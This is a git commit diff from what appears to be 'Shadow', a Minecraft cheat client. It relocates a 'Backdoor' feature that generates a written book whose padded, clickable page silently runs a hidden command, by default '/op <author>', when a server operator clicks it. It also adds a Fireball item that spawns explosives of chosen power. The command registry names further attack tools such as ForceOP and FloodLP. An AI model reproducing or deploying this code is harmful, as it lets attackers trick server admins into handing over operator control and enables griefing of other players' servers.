mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-15 03:14:54 -05:00
cum
This commit is contained in:
parent
c9a5c22995
commit
5814d23707
7 changed files with 133 additions and 147 deletions
|
@ -51,7 +51,6 @@ public class CommandRegistry {
|
|||
commands.add(new Apvel());
|
||||
commands.add(new AsConsole());
|
||||
commands.add(new Author());
|
||||
commands.add(new Backdoor());
|
||||
commands.add(new Ban());
|
||||
commands.add(new Boot());
|
||||
commands.add(new CheckCmd());
|
||||
|
@ -61,7 +60,6 @@ public class CommandRegistry {
|
|||
commands.add(new Damage());
|
||||
commands.add(new Equip());
|
||||
commands.add(new EVclip());
|
||||
commands.add(new Fireball());
|
||||
commands.add(new FloodLP());
|
||||
commands.add(new ForceOP());
|
||||
commands.add(new ItemSpoof());
|
||||
|
|
|
@ -1,90 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.command.impl;
|
||||
|
||||
import net.minecraft.item.Item;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.nbt.StringNbtReader;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.util.Identifier;
|
||||
import net.minecraft.util.registry.Registry;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.command.Command;
|
||||
|
||||
public class Backdoor extends Command {
|
||||
public Backdoor() {
|
||||
super("Backdoor", "generate a forceop book", "bdoor", "opbook", "backdoor");
|
||||
}
|
||||
|
||||
public static String getRandomContent() {
|
||||
String[] nouns = new String[]{"bird", "clock", "boy", "plastic", "duck", "teacher", "old lady", "professor", "hamster", "dog"};
|
||||
String[] verbs = new String[]{"kicked", "ran", "flew", "dodged", "sliced", "rolled", "died", "breathed", "slept", "killed"};
|
||||
String[] adjectives = new String[]{"beautiful", "lazy", "professional", "lovely", "dumb", "rough", "soft", "hot", "vibrating", "slimy"};
|
||||
String[] adverbs = new String[]{"slowly", "elegantly", "precisely", "quickly", "sadly", "humbly", "proudly", "shockingly", "calmly", "passionately"};
|
||||
String[] preposition = new String[]{"down", "into", "up", "on", "upon", "below", "above", "through", "across", "towards"};
|
||||
return "The " + adjectives[random()] + " " + nouns[random()] + " " + adverbs[random()] + " " + verbs[random()] + " because some " + nouns[random()] + " " + adverbs[random()] + " " + verbs[random()] + " " + preposition[random()] + " a " + adjectives[random()] + " " + nouns[random()] + " which, became a " + adjectives[random()] + ", " + adjectives[random()] + " " + nouns[random()] + ".";
|
||||
}
|
||||
|
||||
public static String getRandomTitle() {
|
||||
String[] nouns = new String[]{"bird", "clock", "boy", "plastic", "duck", "teacher", "old lady", "professor", "hamster", "dog"};
|
||||
String[] adjectives = new String[]{"beautiful", "lazy", "professional", "lovely", "dumb", "rough", "soft", "hot", "vibrating", "slimy"};
|
||||
return "The " + adjectives[random()] + " tale of a " + nouns[random()];
|
||||
}
|
||||
|
||||
private static int random() {
|
||||
return (int) Math.floor(Math.random() * 10);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(title)"};
|
||||
} else if (args.length == 2) {
|
||||
return new String[]{"(text)"};
|
||||
} else if (args.length == 3) {
|
||||
return new String[]{"(command)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onExecute(String[] args) {
|
||||
try {
|
||||
if (args.length < 1) {
|
||||
Item item = Registry.ITEM.get(new Identifier("written_book"));
|
||||
ItemStack stack = new ItemStack(item, 1);
|
||||
String bookauthor = ShadowMain.client.getSession().getProfile().getName();
|
||||
String booktitle = getRandomTitle();
|
||||
String booktext = getRandomContent();
|
||||
String bookcommand = "/op " + bookauthor;
|
||||
NbtCompound tag = StringNbtReader.parse("{title:\"" + booktitle + "\",author:\"" + bookauthor + "\",pages:['{\"text\":\"" + booktext + " \",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + bookcommand + "\"}}','{\"text\":\"\"}','{\"text\":\"\"}']}");
|
||||
stack.setNbt(tag);
|
||||
|
||||
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + ShadowMain.client.player.getInventory().selectedSlot, stack));
|
||||
message("Book Exploit Created");
|
||||
} else {
|
||||
Item item = Registry.ITEM.get(new Identifier("written_book"));
|
||||
ItemStack stack = new ItemStack(item, 1);
|
||||
String bookauthor = ShadowMain.client.getSession().getProfile().getName();
|
||||
String booktitle = args[0];
|
||||
booktitle = booktitle.replace("-", " ");
|
||||
String booktext = args[1];
|
||||
booktext = booktext.replace("-", " ").replace("\\\\", "\\");
|
||||
String bookcommand = args[2];
|
||||
bookcommand = bookcommand.replace("-", " ").replace("\\\\", "\\");
|
||||
NbtCompound tag = StringNbtReader.parse("{title:\"" + booktitle + "\",author:\"" + bookauthor + "\",pages:['{\"text\":\"" + booktext + " \",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + bookcommand + "\"}}','{\"text\":\"\"}','{\"text\":\"\"}']}");
|
||||
stack.setNbt(tag);
|
||||
|
||||
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + ShadowMain.client.player.getInventory().selectedSlot, stack));
|
||||
message("Book Exploit Created");
|
||||
}
|
||||
} catch (Exception e) {
|
||||
{
|
||||
error("Please use the format >backdoor <title> <text> <command>");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -7,6 +7,7 @@ package net.shadow.client.feature.command.impl;
|
|||
import joptsimple.OptionParser;
|
||||
import joptsimple.OptionSet;
|
||||
import joptsimple.internal.ReflectionException;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.command.Command;
|
||||
import net.shadow.client.feature.items.Item;
|
||||
|
@ -132,7 +133,12 @@ public class ItemExploit extends Command {
|
|||
option.accept(val);
|
||||
}
|
||||
}
|
||||
// I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT
|
||||
ShadowMain.client.interactionManager.clickCreativeStack(meant.generate(), Utils.Inventory.slotIndexToId(ShadowMain.client.player.getInventory().selectedSlot));
|
||||
|
||||
ItemStack is = meant.generate();
|
||||
if (is != null) {
|
||||
// I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT I HATE MULTICONNECT
|
||||
ShadowMain.client.interactionManager.clickCreativeStack(is, Utils.Inventory.slotIndexToId(ShadowMain.client.player.getInventory().selectedSlot));
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
@ -4,9 +4,7 @@
|
|||
|
||||
package net.shadow.client.feature.items;
|
||||
|
||||
import net.shadow.client.feature.items.impl.Nuke;
|
||||
import net.shadow.client.feature.items.impl.Plague;
|
||||
import net.shadow.client.feature.items.impl.Poof;
|
||||
import net.shadow.client.feature.items.impl.*;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
@ -24,6 +22,8 @@ public class ItemRegistry {
|
|||
items.add(new Nuke());
|
||||
items.add(new Plague());
|
||||
items.add(new Poof());
|
||||
items.add(new Backdoor());
|
||||
items.add(new Fireball());
|
||||
}
|
||||
|
||||
public List<Item> getItems() {
|
||||
|
|
|
@ -0,0 +1,70 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.items.impl;
|
||||
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.nbt.StringNbtReader;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.items.Item;
|
||||
import net.shadow.client.feature.items.Option;
|
||||
import net.shadow.client.helper.nbt.NbtGroup;
|
||||
import net.shadow.client.helper.nbt.NbtList;
|
||||
import net.shadow.client.helper.nbt.NbtObject;
|
||||
import net.shadow.client.helper.nbt.NbtProperty;
|
||||
|
||||
public class Backdoor extends Item {
|
||||
Option<String> title = new Option<>("title","generateForMe",String.class);
|
||||
Option<String> content = new Option<>("content","generateForMe",String.class);
|
||||
Option<String> command = new Option<>("command","generateForMe",String.class);
|
||||
public Backdoor() {
|
||||
super("BackdoorBook","Makes a book that automatically runs a command when clicked viewed");
|
||||
}
|
||||
|
||||
@Override
|
||||
public ItemStack generate() {
|
||||
String titleStr = title.getValue();
|
||||
String contentStr = content.getValue();
|
||||
String cmdStr = command.getValue();
|
||||
if (titleStr.equals("generateForMe")) {
|
||||
titleStr = getRandomTitle();
|
||||
}
|
||||
if (contentStr.equals("generateForMe")) {
|
||||
contentStr = getRandomContent();
|
||||
}
|
||||
String author = ShadowMain.client.getSession().getProfile().getName();
|
||||
if (cmdStr.equals("generateForMe")) {
|
||||
cmdStr = "/op "+author;
|
||||
}
|
||||
NbtGroup ng = new NbtGroup(
|
||||
new NbtProperty("title", titleStr),
|
||||
new NbtProperty("author", author),
|
||||
new NbtList("pages",
|
||||
new NbtProperty("{\"text\": \""+contentStr+" ".repeat(553)+"\",\"clickEvent\":{\"action\":\"run_command\",\"value\":\""+cmdStr+"\"}}"),
|
||||
new NbtProperty("{\"text\":\"\"}"),
|
||||
new NbtProperty("{\"text\":\"\"}")
|
||||
)
|
||||
);
|
||||
ItemStack s = new ItemStack(Items.WRITTEN_BOOK);
|
||||
s.setNbt(ng.toCompound());
|
||||
return s;
|
||||
}
|
||||
private static int random(int max) {
|
||||
return (int) Math.floor(Math.random() * max);
|
||||
}
|
||||
String[] nouns = new String[]{"bird", "clock", "boy", "plastic", "duck", "teacher", "old lady", "professor", "hamster", "dog"};
|
||||
String[] verbs = new String[]{"kicked", "ran", "flew", "dodged", "sliced", "rolled", "died", "breathed", "slept", "killed"};
|
||||
String[] adjectives = new String[]{"beautiful", "lazy", "professional", "lovely", "dumb", "rough", "soft", "hot", "vibrating", "slimy"};
|
||||
String[] adverbs = new String[]{"slowly", "elegantly", "precisely", "quickly", "sadly", "humbly", "proudly", "shockingly", "calmly", "passionately"};
|
||||
String[] preposition = new String[]{"down", "into", "up", "on", "upon", "below", "above", "through", "across", "towards"};
|
||||
String getRandomContent() {
|
||||
return "The " + adjectives[random(adjectives.length)] + " " + nouns[random(nouns.length)] + " " + adverbs[random(adverbs.length)] + " " + verbs[random(verbs.length)] + " because some " + nouns[random(nouns.length)] + " " + adverbs[random(adverbs.length)] + " " + verbs[random(verbs.length)] + " " + preposition[random(preposition.length)] + " a " + adjectives[random(adjectives.length)] + " " + nouns[random(nouns.length)] + " which, became a " + adjectives[random(adjectives.length)] + ", " + adjectives[random(adjectives.length)] + " " + nouns[random(nouns.length)] + ".";
|
||||
}
|
||||
|
||||
String getRandomTitle() {
|
||||
return "The " + adjectives[random(adjectives.length)] + " tale of a " + nouns[random(nouns.length)];
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.items.impl;
|
||||
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.shadow.client.feature.items.Item;
|
||||
import net.shadow.client.feature.items.Option;
|
||||
import net.shadow.client.helper.nbt.NbtGroup;
|
||||
import net.shadow.client.helper.nbt.NbtList;
|
||||
import net.shadow.client.helper.nbt.NbtObject;
|
||||
import net.shadow.client.helper.nbt.NbtProperty;
|
||||
import net.shadow.client.helper.util.Utils;
|
||||
|
||||
public class Fireball extends Item {
|
||||
Option<Integer> strength = new Option<>("strength", null, Integer.class);
|
||||
public Fireball() {
|
||||
super("Fireball", "Generates a fireball");
|
||||
}
|
||||
|
||||
@Override
|
||||
public ItemStack generate() {
|
||||
int strength = this.strength.getValue();
|
||||
if (strength < 0 || strength > 127) {
|
||||
Utils.Logging.error("Strength has to be between 0-127");
|
||||
return null;
|
||||
}
|
||||
ItemStack is = new ItemStack(Items.BLAZE_SPAWN_EGG);
|
||||
// "{display:{Name:'{\"text\":\"Fireball\",\"color\":\"dark_gray\",\"italic\":false}',Lore:['{\"text\":\"Fireball of power " + fireballpower + "\",\"color\":\"gray\",\"italic\":false}']},
|
||||
// EntityTag:{id:\"minecraft:fireball\",ExplosionPower:" + fireballpower + ",direction:[0.0,-1.0,0.0],power:[0.0,-1.0,0.0]}}"
|
||||
String desc = "";
|
||||
if (strength < 10) desc = "baby shit";
|
||||
else if (strength < 40) desc = "mid";
|
||||
else if (strength < 70) desc = "spicy";
|
||||
else if (strength < 100) desc = "monkey destroyer";
|
||||
else desc = "classified nuclear weapon";
|
||||
NbtGroup ng = new NbtGroup(
|
||||
new NbtObject("EntityTag",
|
||||
new NbtProperty("id", "minecraft:fireball"),
|
||||
new NbtProperty("ExplosionPower", strength)),
|
||||
new NbtObject("display",
|
||||
new NbtProperty("Name", "{\"text\": \"Fireball\", \"color\": \"dark_gray\"}"),
|
||||
new NbtList("Lore",
|
||||
new NbtProperty("{\"text\": \"Fireball of power "+strength+" ("+desc+")\", \"color\": \"gray\"}")))
|
||||
);
|
||||
is.setNbt(ng.toCompound());
|
||||
return is;
|
||||
}
|
||||
}
|
|
@ -41,6 +41,7 @@ public class PlayerSkinMixin {
|
|||
@Final
|
||||
private MinecraftSessionService sessionService;
|
||||
//I cant even launch mc with this! it doesnt work
|
||||
// skill issue, i would say
|
||||
@Inject(method = "method_4653", at = @At(
|
||||
value = "INVOKE",
|
||||
target = "Lnet/minecraft/client/MinecraftClient;execute(Ljava/lang/Runnable;)V",
|
||||
|
@ -50,56 +51,6 @@ public class PlayerSkinMixin {
|
|||
addCape(gameProfile, map);
|
||||
}
|
||||
|
||||
// @Inject(at = {@At("HEAD")},
|
||||
// method = {
|
||||
// "loadSkin(Lcom/mojang/authlib/GameProfile;Lnet/minecraft/client/texture/PlayerSkinProvider$SkinTextureAvailableCallback;Z)V"},
|
||||
// cancellable = true)
|
||||
// private void onLoadSkin(GameProfile profile,
|
||||
// PlayerSkinProvider.SkinTextureAvailableCallback callback,
|
||||
// boolean requireSecure, CallbackInfo ci) {
|
||||
//
|
||||
// Runnable runnable = () -> {
|
||||
// HashMap<MinecraftProfileTexture.Type, MinecraftProfileTexture> map =
|
||||
// Maps.newHashMap();
|
||||
//
|
||||
// try {
|
||||
// map.putAll(sessionService.getTextures(profile, requireSecure));
|
||||
// } catch (InsecureTextureException ignored) {
|
||||
//
|
||||
// }
|
||||
//
|
||||
// if (map.isEmpty()) {
|
||||
// profile.getProperties().clear();
|
||||
// if (profile.getId().equals(MinecraftClient.getInstance()
|
||||
// .getSession().getProfile().getId())) {
|
||||
// profile.getProperties().putAll(
|
||||
// MinecraftClient.getInstance().getSessionProperties());
|
||||
// map.putAll(sessionService.getTextures(profile, false));
|
||||
// } else {
|
||||
// sessionService.fillProfileProperties(profile,
|
||||
// requireSecure);
|
||||
//
|
||||
// try {
|
||||
// map.putAll(
|
||||
// sessionService.getTextures(profile, requireSecure));
|
||||
// } catch (InsecureTextureException ignored) {
|
||||
//
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// addCape(profile, map);
|
||||
//
|
||||
// MinecraftClient.getInstance().execute(() -> RenderSystem.recordRenderCall(() -> ImmutableList.of(Type.SKIN, Type.CAPE).forEach((type) -> {
|
||||
// if (map.containsKey(type))
|
||||
// loadSkin(map.get(type), type, callback);
|
||||
// })));
|
||||
// };
|
||||
// Util.getMainWorkerExecutor().execute(runnable);
|
||||
//
|
||||
// ci.cancel();
|
||||
// }
|
||||
|
||||
private void addCape(GameProfile profile,
|
||||
Map<MinecraftProfileTexture.Type, MinecraftProfileTexture> map) {
|
||||
String name = profile.getName();
|
||||
|
|
Loading…
Reference in a new issue